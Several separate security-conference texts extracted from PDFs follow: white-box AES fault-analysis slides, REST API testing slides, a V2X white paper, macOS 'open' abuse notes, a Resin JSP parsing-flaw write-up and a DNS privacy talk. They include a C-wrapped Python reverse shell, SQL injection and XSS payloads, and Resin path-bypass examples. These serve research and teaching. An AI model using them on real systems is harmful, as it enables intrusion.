59 8B 1B 5E 2E A1 C3 EC 38 13 42 3C 84 E7 D2 After AddRoundKey9 0E C B 3D AF 58 31 32 2E CE 07 7D 2C EB 5F 94 B5 After SubBytes10 0E C B 3D AF 31 32 2E 58 7D 2C CE 07 B5 EB 5F 94 After ShiftRows10 K10 39 02 D C 19 25 D C 11 6A 84 09 85 0B 1D FB 97 32 ⊕ = Output with faults Output without fault Error D0 C9 E1 B6 14 EE 3F 63 F9 25 0C 0C A8 89 C8 A6 E7 00 + 00 + 00 + 00 + 00 + 00 + 51 00 + 00 + 47 00 + 00 + 99 00 + 00 + DE 02 D C 19 25 D C 11 3B 84 09 C2 0B 1D 62 97 32 ● Input = ’3243F6A8885A308D313198A2E0370734’ ● Cipher Key =’2B7E151628AED2A6ABF7158809CF4F3C’ ● Output= ’3925841D02DC09FBDC118597196A0B32’ Reference : P. Dusart, G. Letourneux and O. Vivolo, “Differential Fault Analysis on A.E.S.,” Cryptology ePrint Archive of IACR, No. 010, 2003 WHITE-BOX TABLE IN COMPLEX-CIPHER WHITE-BOX TABLE IN COMPLEX-CIPHER 1byte flip;0xBD0x34 WHITE-BOX TABLE IN COMPLEX-CIPHER h2spice@ubuntu:~/Documents/WBC/Commercial/DFA/complexWB-AES$ 
 ./complexWB-AES testtesttesttest 6CB721A5633DFD7F94A6474524789026 ← normal cipher-text
 h2spice@ubuntu:~/Documents/WBC/Commercial/DFA/complexWB-AES$ 
 ./complexWB-AES-mod testtesttesttest FF1E4C03844DD800CE9CF34C6B7EEAE8 ← faulty cipher-text FAULTY CIPHERTEXT Plaintext(in hex) 0x74657374746573747465737474657374 Correct ciphertext 0x6CB721A5633DFD7F94A6474524789026 Good faulty ciphertexts 0x8EB721A5633DFDB794A61E4524359026 0x6CD921A5113DFD7F94A6479824786026 0x6CB740A563C5FD7F8BA64745247890A8 0x6CB72161633DA97F94A447453D789026 … other 625 good faulty ciphertext Final round key 0x5CB2FAF4F3FB94543BFA87DFE92660FC DFA ON COMPLEX-CIPHER Final round key 0x5CB2FAF4F3FB94543BFA87DFE92660FC Round 9 key 0xEC26DC41AF496EA0C801138BD2DCE723 Round 8 key 0x36991EE3436FB2E167487D2B1ADDF4A8 Round 7 key 0x9C3EF21C75F6AC022427CFCA7D958983 Round 6 key 0xEB64C9D7E9C85E1E51D163C859B24649 Round 5 key 0x305BC5E702AC97C9B8193DD608632581 Round 4 key 0xFAF69E0032F7522EBAB5AA1FB07A1857 Round 3 key 0x78C1CC67C801CC2E8842F8310ACFB248 Round 2 key 0x21177A74B0C000494043341F828D4A79 Round 1 key 0xA8E4495191D77A3DF0833456C2CE7E66 Secret key 0x4A324D723933336C61544E6B324D4A30 DFA ON COMPLEX-CIPHER CONCLUSION ● No single key for everything ● No hardcoded key(protected key) ● No static IV ● External encoding ● Asymmetric crypto algorithm based on WBC ● RSA, Elliptic curves, Diffie–Hellman ● Tamper resistant embedded integrity checksums ● Cryptographic key device binding ● device identifier + user identifier + external identifier(e,g, pin, biometric) Be sure to keep basic rules THE WAY TO USE WBC SAFER IN APPS First 
 round Input Sender White-box Decode 
 the input Final 
 round Encode 
 the output Output Receiver Decode the output Encode 
 the input EXTERNAL ENCODING ● Device identifier ● User identifier ● External identifier(e,g, pin, biometric) CRYPTOGRAPHIC KEY 
 DEVICE BINDING ● White-box version of crypto libraries ● Retrieve a master key embedded white-box engine ● Since the vulnerabilities have already been fixed, 
 I will focus on finding other vulnerability. FUTURE WORKS THANK YOU
pdf
REST API安全测试的思路 基于Swagger的REST API自动化安 全测试实践 贾玉彬 Gary Gary_jia@rapid7.com 大纲 • 由应用安全说起 • 传统REST API安全测试 • 基于Swagger的REST API 的安全测试 在SDLC中尽早发现和修复安全问题 30X 15X 10X 5X 2X Cost Source: NIST Production System testing Integration/ component testing Coding Requirements 不同的团队不同的目标 DevSecOps Image : Pete Cheslock at #DevOpsDaysAustin. “Everyone is responsible for security” with the goal of safely distributing security decisions at speed and scale It does not have to be like this: 传统的REST API安全测试 REST API • REST – REpresentational State Transfer • REST描述的是客户端和服务端的一种交互 形式,REST本身不实用,实用的是如何设 计RESTful风格 API • 传输资源的形式一般是JSON和XML RESTful结构的好处 RESTful通过一套统一的接 口为Web, iOS和Android提 供服务 *图片来自互联网 REST API安全问题会带来的后果 • 接口被滥用消耗系统资源 • 数据泄露 • 伪造/篡改数据 • 应用被仿制 • 引入其他安全问题 REST API是可被攻击的 • REST API是可以被常用的攻击方法进行攻击 的,如注入、XSS、CSRF、XML Entity攻击等 等 REST API测试 • 通常没有WEB界面与之进行交互,通过HTTP的各种终端工 具或自己编写HTTP客户端脚本与服务端通讯来进行测试 • 通过变化API调用参数组合,变化API功能调用顺序,实现 全面和各种复杂组合的调用 • 针对安全测试也存在同样的问题 以移动应用为例的测试过程(手工) • 安装配置代理 • 配置测试移动设备 • 准备测试用数据 • 手工测试 安装并设置代理、配置移动设备 手工测试REST API(SQL注入为例) • 测试是否存在注入漏洞 • 例如使用PUT方法更新用户档案 • 请求中包含参数值(first_name) URL: http://192.168.202.131/api/user/1 Method: PUT Parameter name: first_name Attack values: test’’ 手工测试REST API(SQL注入为例) Request 1 使用test’’把两个单引号(’)注入 到请求 手工测试REST API(SQL注入为例) Response 1 用户档案成功提交 手工测试REST API(XSS为例) • 测试是否存在XSS漏洞 • 例如使用PUT方法更新用户档案 • 请求中包含参数值(first_name) URL: http://192.168.202.131/api/user/1 Method: PUT Parameter name: first_name Attack values: <script>alert(1)</script> 手工测试REST API(XSS为例) Request 在请求中使用 <script>alert(1)<script>把一 个脚本标签注入到first_name 参数值 手工测试REST API(XSS为例) 使用DAST工具测试REST API • 手工测试REST API是个很具挑战性的工作 • 大部分的DAST工具都需要training mode对 REST API进行测试(使用复杂的JSON、XML、 GWT结构) • 方法:导入预先录制的流量文件进行测试 以AppSpider + BurpSuite为例 • BurpSuite使用广泛 • AppSpider可以接受各种录制的流量并且可 以识别JSON、XML、GWT、AMF参数和值, 不需要使用training mode DEMO 基于SWAGGER的REST API的安全测试 基于Swagger的REST API • Swagger是一个简单又强大的REST API文档 生成工具 • 标准的、语言无关的,通过它计算机和人 类无需阅读代码、文档或者监测网络流量 就能发现并理解Web服务 Swagger REST API DEMO 运行AppSpider并选择Swagger Utility 导入Swagger JSON文件 API function calls 操作API参数 创建新的扫描配置 总结 • REST API安全测试很重要 • 尽量使用自动化/半自动化工具进行测试 • 使用Swagger生成REST API文档 • 使用支持Swagger的DAST进行安全测试 谢谢
pdf
Linux-Stack Based V2X: White Paper Duncan Woodbury, Nicholas Haltmeyer, and Robert Leale {p3n3troot0r, ginsback}@protonmail.com, robertleale@canbushack.com May 13, 2017 Abstract Vehicle-to-vehicle (V2V) and, more generally, vehicle-to-everything (V2X) wireless com- munication enables semi-autonomous driving via the exchange of state information between a network of connected vehicles and infrastructure units. Following 10+ years of standards de- velopment, particularly the IEEE 802.11p and 1609 family, a lack of available implementations has prevented the involvement of the security community in development and testing of these standards. Analysis of the WAVE/DSRC protocols in their existing form reveals the presence of vulnerabilities which render the protocol unfit for use in safety-critical systems. We present a complete Linux-stack based implementation of IEEE 802.11p and 1609.3/4 which provide a means for hackers and academics to participate in the engineering of secure standards for intelligent transportation. 1 Introduction As vehicular ad-hoc networks (VANETs) will serve the purpose of disseminating messages related to critical safety procedures, effective security is vital. A network compromise would allow an adversary to launch a wide array of attacks. Current standards defining the implementation and use of VANETs (IEEE 1609 – WAVE) use a certificate management system to assure the confidentiality and authenticity of messages, as well as a misbehavior reporting system to maintain a network-wide distributed trust of participants. If an attacker is able to compromise a peer, they have the ability to launch a variety of attacks. Examples of these threats are as follows: • Distributing false safety messages - Allows the attacker to obstruct or divert traffic by leading vehicles to believe there is an upcoming accident or road block, beacon as an emergency vehicle, or maliciously alert the driver of a fictitious imminent crash. The effects of this can lead to significant cost in traffic congestion or even loss of life. • Masquerading as a toll station - Allows the attacker to automatically collect payment infor- mation from passing vehicles. • Issuing false certificates - Allows the attacker to grant privileges and proliferate any of the above attacks to colluding vehicles. • Issuing false certificate revocations - Allows the attacker to effectively deny service until new certificates can be authorized. • Distributing false misbehavior reports - Allows the attacker to either grant undue trust to malicious vehicles or deny service (and lead to the certificate revocation of) well-behaved vehicles. 1.1 Contributions We present a Linux kernel implementation of the IEEE 802.11p and 1609.3/4 standards, encom- passing all features related to transmission/reception, channel switching, and message encoding/de- coding, including a userspace utility facilitating the use of V2X with the SAE J 2735 basic message dictionary to communicate with other Linux boxes and proprietary DSRC radios. 1 Figure 1: WAVE protocol stack [2]. 1.2 Wireless Access in Vehicular Environments Wireless Access in Vehicular Environments (WAVE) is a set of standards that form a comprehensive framework for vehicle-to-vehicle communication. The base of the protocol is defined in IEEE 802.11p and defines operation on the 5.85 to 5.925GHz band [1]. The carrier wave structure is highly similar to that defined by 802.11p, using orthogonal fre- quency division multiplexing (OFDM). The remainder of the specification is defined in IEEE 1609 and deals with message structure, security services, message aggregation, and forwarding within the ad-hoc network. Figure 1 shows the OSI-like structure of WAVE. Figure 2: WAVE Short Message specification [4]. Message encoding is defined in the WAVE Short Message (WSM). The collection of data struc- tures and management entities involved in manipulating WSMs is the WAVE Short Message Pro- tocol [2, 3, 4, 5]. See Figure 2 for a breakdown of WSM data fields. Additionally, WAVE Service Advertisements are broadcast on a fixed interval, notifying peers of the car’s availability. See Figure 3 for a breakdown of WSA data fields, and Figure 4 for WSA encapsulation within the 2 Figure 3: WAVE Service Advertisement specification [4]. Figure 4: WSA encapsulation in a WSM [4]. 3 WSM. 1.3 Channel Switching WAVE subdivides the bandwidth into 7 channels of 10MHz each. Channels are devoted to non- safety messages, traffic efficiency messages, and critical safety messages. Channels marked for longer range communications have a higher transmission power. The full range of channel settings can be seen in Figure 5. As WAVE-capable devices need only use a single antenna, a switching method is defined to receive control channel (CCH) and service channel (SCH) data frames at intervals of 50ms each. A diagram of this switching procedure can be seen in Figure 6. Figure 5: Channels subdivision and parameters [10]. Figure 6: Channel switching procedure [5]. 1.4 WAVE Security Security in WAVE is defined by IEEE 1609.2. This enables encryption and signing through a certificate system. Certificates are chained against a trust anchor that demonstrates the authen- ticity of each peer in the network. The central certificate authority acts as this trust anchor. The final certificate is predicated on the validity of previous certificates. Each certificate has a set of associated permissions. WAVE supports a peer-to-peer certificate discovery mechanism. Using this, vehicles and road- side units (RSUs) can request nearby peers to provide certificate information in the event that the full chain cannot be verified, due to a lack of information. Upon being given all relevant data, the management service can then determine if the certificate chain in question is valid. 2 Implementation Our implementation is designed to integrate seamlessly with the Linux kernel networking subsys- tem. The implementation of IEEE 802.11p works through modification of the mac80211, cfg80211, 4 and nl80211 standard Linux networking utilities, and by making very limited modifications to a wireless hardware driver. In this case support is given for the Atheros ath9k and Realtek rtlwifi drivers and compatible devices. Note that some effort was made to add support for IEEE 802.11p to the mainline Linux kernel in 2014, although full functionality was not achieved1. We will briefly summarize the changes made within the Linux kernel to implement IEEE 802.11p, and follow with an overview of the Linux kernel modules developed to implement IEEE 1609.3/4, and the usage of these via a modified version of the userspace standard networking utility iw to enable transmission and reception of messages specified in the SAE J 2735 DSRC message dictionary [13]. Complete descriptions and source code are available in our public GitHub repository2. 2.1 Modifications of mac80211 subsystem The following modifications were made to the mac80211 subsystem found within /net/wireless/mac80211: 1. Setting the wildcard BSSID during configuration of the networking interface when the BSSID fetched does not match wildcard BSSID (FF:FF:FF:FF:FF), 2. Add a bit to list of hardware interface modes for specifying OCB mode 3. Check for the existence of concurrent network interfaces while configuring OCB mode and return an error if any are discovered, and 4. Replace usage of certain OCB functions defined in ocb.c with those defined in ibss.c. 2.2 Modifications of cfg80211 utility The following modifications were made to the cfg80211 utility found at /include/net/cfg80211: 1. Add ability to define channels with 5/10MHz bandwidth, and 2. Include 5/10MHz channels in comparison statements evaluating and returning channel state information. 2.3 Modifications of nl80211 subsystem The following modifications were made to the nl80211 utility defined at /include/uapi/linux/nl0211.h and /net/wireless/nl80211.c: 1. Supporting usage and configuration of OCB mode by networking interface, 2. Add definition of 5/10MHz-wide channels, and 3. Allowing usage of ITS channels exclusively in OCB mode. 2.4 Additional modifications of wireless subsystem The remaining changes to the Linux kernel networking subsystem, found at /net/wireless, in- clude the following: 1. Specification of OCB mode in network interface configuration, 2. Definition of functions for additional configurations when in OCB mode, 3. Support for the deinitialization of OCB mode by network interface, 4. Setting the network interface BSSID to the wildcard BSSID when configuring for OCB mode, 5. Allowing usage of ITS channels exclusively in OCB mode, and 6. Addition of support for 5/10MHz-wide channels. 1https://lwn.net/Articles/611635/ 2https://github.com/p3n3troot0r/Mainline-80211P/ 5 2.5 Modifications needed for wireless hardware drivers Limited modification of a compatible wireless driver from within /drivers/net/wireless is nec- essary for all open-source COTS wireless hardware tested in this study. The initial driver chosen was ath9k and additional support was later added for rtlwifi. The ITS channels within the 5GHz radio band, when not beyond the physical limitations of the hardware, are beyond the range which most COTS wireless hardware is designed for. The following specific changes were made to the ath9k and rtlwifi drivers to implement IEEE 802.11p: 1. Definition of OCB mode as a networking mode, 2. Incorporation of OCB mode into list of hardware capabilities, 3. Definition of ITS-G5 channels in 5.9GHz band, 4. Definition of and support for 5/10MHz-wide channels, and 5. Enable user modification of the hardware regulatory domain. 2.6 WAVE Short Message Protocol The WAVE Short Message Protocol (WSMP) is implemented as a kernel module that provides mechanisms for encoding and decoding WAVE message primitives. This includes the WSM, WSA, Service Info Segment, Channel Info Segment, WAVE Routing Advertisement, and Information Element Extension. Encoding/decoding is done with strict compliance to the standards. The module also includes a utility for handling the WAVE-specific p-encoding. After constructing a WSM to transmit, the message is encoded using wsmp_wsm_encode. This returns a byte array that is passed along to the MAC/PHY layers. 2.7 Userspace tools for V2X stack In order to use the V2X stack detailed herein with a standard Linux distribution, the CRDA and wireless-regdb utilities must be modified to allow specification and seamless transition to use of a custom regulatory domain. Modified versions of these utilities are available in the GitHub repository referenced previously. 3 Conclusions We have presented our implementation of V2X through the IEEE 1609 standards. With this, we hope to engage and leverage the security community in the development of vehicular communica- tions standards, and to facilitate growth and widespread interest in securing ITS infrastructure. The V2X stack we provide is licensed under the GNU General Public License v2 to promote collaborative development. Example Usage The following source code and output demonstrates the creation, encoding, and decoding of a WAVE Short Message: Source Code #include "common . h" #include " encode . h" #include " decode . h" #include <time . h> #include <s t d l i b . h> #include <a s s e r t . h> i n t main ( i n t ac , char ⇤⇤av ) { i n t e r r = 0 ; size_t ⇤ len ; 6 s t r u c t wsmp_wsm ⇤msg = c a l l o c (1 , s i z e o f ( s t r u c t wsmp_wsm) ) ; s t r u c t wsmp_wsm ⇤ parsed = c a l l o c (1 , s i z e o f ( s t r u c t wsmp_wsm) ) ; msg−>subtype = 0 ; msg−>version = WSMP_VERSION; msg−>use_n_iex = 1; msg−>tpid = 0; msg−>n_iex = c a l l o c (1 , s i z e o f ( s t r u c t wsmp_iex ) ) ; msg−>n_iex−>count = 3 ; msg−>n_iex−>chan = 172; msg−>n_iex−>data_rate = 3 ; msg−>n_iex−>tx_pow = 30; msg−>n_iex−>use [WSMP_EID_CHANNEL_NUMBER_80211] = 1 ; msg−>n_iex−>use [WSMP_EID_DATA_RATE_80211] = 1; msg−>n_iex−>use [WSMP_EID_TX_POWER_USED_80211] = 1; uint8_t tmp = 0; msg−>psid = p_to_hex(0 xC00305 , &tmp ) ; i f (tmp != 3) goto out ; msg−>len = 13; msg−>data = c a l l o c (msg−>len , 1 ) ; char s t r [ ] = " Hello world ! " ; memcpy(msg−>data , str , msg−>len ) ; print_wsm (msg ) ; size_t count = 0 ; uint8_t ⇤ bytes = wsmp_wsm_encode(msg , &count , &err , WSMP_STRICT) ; i f ( e r r ) goto out ; p r i n t f ("\ nEncoded WSM (%lu bytes ) : \ n" , count ) ; i n t i ; f o r ( i = 0; i < count ; i++) p r i n t f ("%02x " , bytes [ i ] ) ; size_t parsed_index = 0 ; parsed = wsmp_wsm_decode( bytes , &parsed_index , count , &err , WSMP_STRICT) ; i f ( e r r ) goto out ; size_t parsed_count = 0 ; uint8_t ⇤ parsed_bytes = wsmp_wsm_encode( parsed , &parsed_count , &err , WSMP_STRICT) ; i f ( e r r ) goto out ; /⇤ Equality check ⇤/ f o r ( i = 0; i < count ; i++) i f ( bytes [ i ] != parsed_bytes [ i ] ) goto out ; p r i n t f ("\n\nRecovered Encoding (%lu bytes ) : \ n" , parsed_index ) ; f o r ( i = 0; i < parsed_count ; i++) p r i n t f ("%02x " , parsed_bytes [ i ] ) ; p r i n t f ("\n " ) ; out : free_wsm (msg ) ; free_wsm ( parsed ) ; return e r r ; } Output 7 BEGIN WSM subtype : 0 version : 3 tpid : 0 use_n_iex : 1 n_iex : BEGIN IEX count : 3 chan : 172 data rate : 3 tx_pow : 30 psc . len : 0 psc . data : ip : 00000000000000000000000000000000 port : 0000 mac 000000000000 rcpi_thres : 0 count_thres : 0 count_thres_int : 0 edca . ac_be : 00000000 edca . ac_bk : 00000000 edca . ac_vi : 00000000 edca . ac_vo : 00000000 chan_access : 0 repeat_rate : 0 loc_2d . l a t i t u d e : 00000000 loc_2d . longitude : 00000000 loc_3d . l a t i t u d e : 00000000 loc_3d . longitude : 00000000 loc_3d . e l e v a t i o n : 0000 advert_id . len : 0 sec_dns : 00000000000000000000000000000000 gateway_mac : 000000000000 raw_count : 0 raw : in_use : (0 , 0) (1 , 0) (2 , 0) (3 , 0) (4 , 1) (5 , 0) (6 , 0) (7 , 0) (8 , 0) (9 , 0) (10 , 0) (11 , 0) (12 , 0) (13 , 0) (14 , 0) (15 , 1) (16 , 1) (17 , 0) (18 , 0) (19 , 0) (20 , 0) (21 , 0) (22 , 0) (23 , 0) END IEX psid : 00004385 ports . s r c : 8543 ports . dst : 0000 use_t_iex : 0 length : 13 data : 8 48 65 6c 6c 6 f 20 77 6 f 72 6c 64 21 00 END WSM Encoded WSM (29 bytes ) : 0b 03 04 01 1e 0 f 01 ac 10 01 03 00 c0 03 05 0d 48 65 6c 6c 6 f 20 77 6 f 72 6c 64 21 00 Recovered Encoding (29 bytes ) : 0b 03 04 01 1e 0 f 01 ac 10 01 03 00 c0 03 05 0d 48 65 6c 6c 6 f 20 77 6 f 72 6c 64 21 00 References [1] IEEE Std 802.11-2012 IEEE Standard for Information Technology – Telecommunications and information exchange between systems – Local and metropolitan area networks–Specific re- quirements – Part 11: Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specifications [2] IEEE Std 1609.0-2013 IEEE Guide for Wireless Access in Vehicular Environments (WAVE) – Architecture [3] IEEE Std 1609.2-2016 IEEE Standard for Wireless Access in Vehicular Environments – Secu- rity Services for Applications and Management Messages [4] IEEE Std 1609.3-2016 IEEE Standard for Wireless Access in Vehicular Environments (WAVE) – Networking Services [5] IEEE Std 1609.4-2016 IEEE Standard for Wireless Access in Vehicular Environments (WAVE) – Multi-channel Operation [6] IEEE Std 1609.11-2010 IEEE Standard for Wireless Access in Vehicular Environments (WAVE) – Over-the-Air Electronic Payment Data Exchange Protocol for Intelligent Trans- portation Systems (ITS) [7] IEEE Std 1609.12-2016 IEEE Standard for Wireless Access in Vehicular Environments (WAVE) – Identifier Allocations [8] ETSI EN 302 636-4-1 V1.2.1 (2014-05), Intelligent Transport Systems (ITS); Vehicular Com- munications; GeoNetworking; Part 4: Geographical addressing and forwarding for point-to- point and point-to-multipoint communications; Sub-part 1: Media-Independent Functionality. [9] ISO 29281-1, Intelligent transport systems — Communications access for land mobiles (CALM) — Non-IP networking—Part 1: Fast networking & transport layer protocol (FNTP). [10] E. Donato, E. Madeira and L. Villas, "Impact of desynchronization problem in 1609.4/WAVE multi-channel operation," 2015 7th International Conference on New Technologies, Mobility and Security (NTMS), Paris, 2015, pp. 1-5. [11] C. Valasek, C. Miller, "Remote Exploitation of an Unaltered Passenger Vehicle," 2015 [12] William Whyte, Jonathan Petit, Virendra Kumar, John Moring and Richard Roy, "Threat and Countermeasures Analysis for WAVE Service Advertisement," IEEE 18th International Conference on Intelligent Transportation Systems, 2015 [13] SAE J 2735-2016 Dedicated Short Range Communications (DSRC) Message Set Dictionary 9
pdf
​ open -a /System/Applications/Calculator.app // open /System/Applications/Calculator.app // open -a /Applications/Safari.app https://www.baidu.com //safari open http://www.baidu.com/System/Applications/Calculator.app http://www.baidu.com/System/Applications/Calculator.app open 0x00 0x01 open 0x02 ​ open -a http://www.baidu.com/System/Applications/Calculator.app open -a telnet://www.baidu.com/System/Applications/Calculator.app ​ open ftp://8.8.8.8/System/Applications/Calculator.app ​ ​ ​ 0x03 open -a /usr/bin/curl #include <stdio.h> #include <stdlib.h> int main(){ char* cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1 27.0.0.1\",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\" ,\"-i\"]);'"; system(cmd); } open -a /Users/miku/tmp/testC open /Users/miku/tmp/testC ​ open http://www.baidu.com/Users/miku/tmp/testC open http://www.baidu.com/Users/miku/tmp/testC.app 0x04
pdf
1 OLONLXOL-Resin解析漏洞 初学JAVA有问题请指正 受影响版本:全版本 之前测试resin⾥的权限绕过时提到过可以采⽤下⾯的⽅式 后来在北京玩的时候突然想到,那我可不可以和 iis解析漏洞 ⼀样创建⼀个⽂件夹为 test.jsp 下⾯存放⼀个⾮ jsp 后缀⽂件,但是 Resin 能解析呢。 回来测试了⼀下发现可以 Plain Text 复制代码 /test.jsp /test.jsp/1.css 1 2 2 得到如下结论 看⼀下问题出在哪⾥,⾸先查看 Resin 的配置⽂件 Plain Text 复制代码 /test.jsp/test.jpg test.jsp ⽂件夹下的⽂件都会解析成jsp 1 2 3 注意到三个 servlet-mapping 分别是 *.jsp *.jspx *.jspf 对应的 servlet-class 都为 com.caucho.jsp.JspServlet 那代表还存在另外两种利⽤⽅式 配置 Resin 远程调试查看⼀下原因 Plain Text 复制代码 /test.jspx/test.jpg /test.jspf/test.jpg test.jspf test.jspx⽂件夹下的⽂件都会解析成jsp 1 2 3 4 D:\tomcat\resin-4.0.65\conf\resin.xml 在 Resin 的配置⽂件⾥添加下⾯的内容 IDEA配置好远程JVM调试,因为我们不知道具体处理流程在哪⾥,所以断点下在 \com\caucho\server\http\HttpRequest.class#handleRequest 慢慢跟⼀直到 \com\caucho\server\dispatch\ServletMapper.class#mapServlet 跟进去然后跟到 5 这⾥先从我们配置⽂件取 servlet-mapping 的值然后正则匹配我们请求的 uri ,可以注意 到这个正则 ^.*\.jsp(?=/)|^.*\.jsp\z 此时会匹配到 /test1.jsp 会返回 ServletMapping[url-pattern=*.jsp, name=resin-jsp] 从⽽进⼊jsp处理逻辑 ^.*\.jsp(?=/)|^.*\.jsp\z 这个正则在 \com\caucho\server\dispatch\UrlMap.class#addMap 被添加 6 Java 复制代码 public void addMap(String pattern, String flags, E value, boolean isIgnore, boolean ifAbsent) throws PatternSyntaxException { if (pattern.length() == 0) { this.addRegexp(-1, "^/$", flags, value, true, isIgnore, ifAbsent); } else { boolean startsWithSlash = pattern.charAt(0) == '/'; if (pattern.length() == 1 && startsWithSlash) { this.addRegexp(-1, "", flags, value, true, isIgnore, ifAbsent); } else if (pattern.equals("/*")) { this.addRegexp(1, "/*", flags, value, true, isIgnore, ifAbsent); } else { int length = pattern.length(); boolean isExact = true; if (!startsWithSlash && pattern.charAt(0) != '*') { pattern = "/" + pattern; ++length; } int prefixLength = -1; boolean isShort = false; boolean hasWildcard = false; CharBuffer cb = new CharBuffer(); cb.append("^"); for(int i = 0; i < length; ++i) { char ch = pattern.charAt(i); if (ch == '*' && i + 1 == length && i > 0) { hasWildcard = true; isExact = false; if (pattern.charAt(i - 1) == '/') { cb.setLength(cb.length() - 1); if (prefixLength < 0) { prefixLength = i - 1; } } else if (prefixLength < 0) { prefixLength = i; } if (prefixLength == 0) { prefixLength = 1; } } else if (ch == '*') { hasWildcard = true; isExact = false; cb.append(".*"); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 7 然后去查了⼀下有没有⼈发现这个问题,找到⼀篇⽂章作者好像2010年的时候就发现了 https://blog.csdn.net/heyarno/article/details/45770655 但是 Resin 不认为是漏洞没有修复,所以直到现在最新版这个问题还存在。 作者在最底下说了修复⽅案 if (prefixLength < 0) { prefixLength = i; } if (i == 0) { isShort = true; } } else if (ch != '.' && ch != '[' && ch != '^' && ch != '$' && ch != '{' && ch != '}' && ch != '|' && ch != '(' && ch != ')' && ch != '?') { cb.append(ch); } else { cb.append('\\'); cb.append(ch); } } if (isExact) { cb.append("$"); } else { cb.append("(?=/)|" + cb.toString() + "\\z"); } if (prefixLength < 0) { prefixLength = pattern.length(); } else if (prefixLength < pattern.length() && pattern.charAt(prefixLength) == '/') { --prefixLength; } if (cb.length() > 0 && cb.charAt(0) == '/') { cb.insert(0, '^'); } this.addRegexp(prefixLength, pattern, cb.close(), flags, value, isShort, isIgnore, ifAbsent, !hasWildcard); } } } 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 8 但是显然这样还是⼀样可以利⽤。
pdf
DNS - Devious Name Services Destroying Privacy & Anonymity Without Your Consent Jim Nitterauer Senior Security Specialist Disclaimer Information disclosed in this presentation is intended to help improve your security & privacy posture and should not be used for unethical purposes The concepts presented are in no way meant to imply original research on my part or on the part of my employer Information presented here is gathered from public and private sources with proper references and credit provided where applicable The views expressed in this talk are not necessarily the views of my employer Why Am I here? http://bestvpnprovider.co/wp-content/uploads/2015/01/VPN-Blocked-in-China-The-Great-Firewall-Strikes-Again.png Why Am I here? Agenda Review DNS, EDNS0 extensions and Option Codes Discuss the Rationale for EDNS0 Use Examine EDNS Client Subnet (ECS) Review DNS Resolver Support Examine Tools & Procedures for Testing Discuss Privacy Implications of EDNS0 OPT Codes Discuss Potential for Abuse Questions & answers Goals for Today Understand the basics about EDNS OPT RRs Understand the potential threat to your privacy Have direction for detecting the use of EDNS OPTs Be able to better insure your online privacy Brief History of DNS Brief History of DNS Introduced in 1983 by Paul Mockapetris & Jon Postel Information Sciences Institute – USC RFC 882 & RFC 883 both updated by RFC 973 in 1986 Obsoleted by two RFCs in 1987 • RFC 1034 – Describes the data structure and exchange of data • RFC 1035 – Describes record and infrastructure format Brief History of DNS Distributed database Main components • Namespace • Resource Records (RRs) • Resolvers • Name Servers Brief History of DNS • Defining Master (Primary) / Slave (Secondary) relationship • Adding Notify • Adding IXFR (Incremental Zone Transfers) Improved DNS by Image from https://technet.microsoft.com/en-us/library/bb962069.tcpipm09_big(l=en-us).gif Brief History of DNS • Implementing Dynamic Updates – RFC 2136 • Adding Extension Mechanisms for DNS (EDNS0) - RFC 2671 & RFC 6891 Improved DNS by Brief History of DNS • Adding clarifications - RFC 2181 • Implementing provisions for negative responses - RFC 2308 Improved DNS by Brief History of DNS • Implementing DNS Security (DNSSEC) - RFC 2535 now RFC 6840 • Promoting the use of EDNS OPT Codes Improved DNS by Brief History of DNS https://webhostinggeeks.com/guides/dns/DNS_221215.pdf EDNS RFC 2671 & 6891 RFC 2671 proposed by Paul Vixie in 1999` Replaced by RFC 6891 in 2013 Overcomes 512 byte UDP packet size limit Support required for certain modern DNS features Defines transport standards Defines option format & assignments EDNS Option Codes • See https://www.iana.org/assignments/dns- parameters/dns-parameters.xhtml#dns- parameters-11 Long list of RFCs and Drafts • 11 RFCs • 3 Drafts There are approximately 17 codes in use • Future expansion • Don’t confuse w/ Opcode 65,535 possible code assignments EDNS Option Codes • Extends RCODE field from 4 to 12 bytes Resource Record Type 41 • EDNS(0) Defines OPT Record RFC 6891 • Defines support for DNSSEC RFC 3225 EDNS Option Codes OPT Resource Record Format EDNS Option Codes OPT Record TTL Field EDNS Option Codes OPT RR RDATA Structure EDNS Option Codes EDNS Option Codes https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-11 EDNS Option Codes Additional Drafts https://www.ietf.org/id/ EDNS Option Codes 0 Reserved 1 LLQ Draft (expired) DNS Long Lived Queries Apple 2 UL Draft (expired) Dynamic DNS Update Leases Apple 3 NSID RFC 5001 DNS Name Server Identifier ISC 4 Draft - Expired 5 DAU RFC 6975 DNSSEC NIST 6 DHU RFC 6975 DNSSEC NIST 7 N3U RFC 6975 DNSSEC NIST 8 ECS RFC 7871 EDNS Client Subnet Google Akamai 9 EDNS EXP RFC 7314 SOA Expire Identifier ISC Review of OPT Option Codes Code Name Status Description Vendor EDNS Option Codes 10 COOKIE RFC 7873 DNS Cookies ISC, Huawei 11 EDNS-TCP RFC 7828 TCP Keepalive Red Hat, Dyn, ISC 12 PADDING RFC 7830 Random Padding GmbH 13 CHAIN RFC 7901 CHAIN Query Requests Red Hat 14 EDNS KEY RFC 8145 DNSSEC Verisign, Google, ICANN 26946 DEVICEID Experimental Umbrella Device ID Cisco Proposed Drafts UA ISP LOC Draft ISP Location in DNS CNNIC UA CLIENT ID Draft Client ID in Forwarded DNS Charter, Akamai Review of OPT Option Codes Code Name Status Description Vendor EDNS Use Cases OPT Option Codes 5,6 & 7 • All related to DNSSEC implementation • Let’s resolvers know which cryptographic algorithm was used to generate the digital signature • Specifies a way for validating end-system resolvers to tell a server in a DNS query which digital signature and/or hash algorithms they support • OPT 5 – DNSSEC Algorithm Understood (DAU) • OPT 6 – DS Hash Understood (DHU) • OPT 7 – NSEC3 Hash Understood (N3U) EDNS Use Cases • Client subnet in DNS queries • EDNS Client Subnet (ECS) • Let’s all resolvers know the IPv4 WAN or IPv6 address subnet of the requester • Developed to enable Content Delivery Networks via DNS • We will look at bit more into the details shortly OPT Option Code 8 EDNS Use Cases • 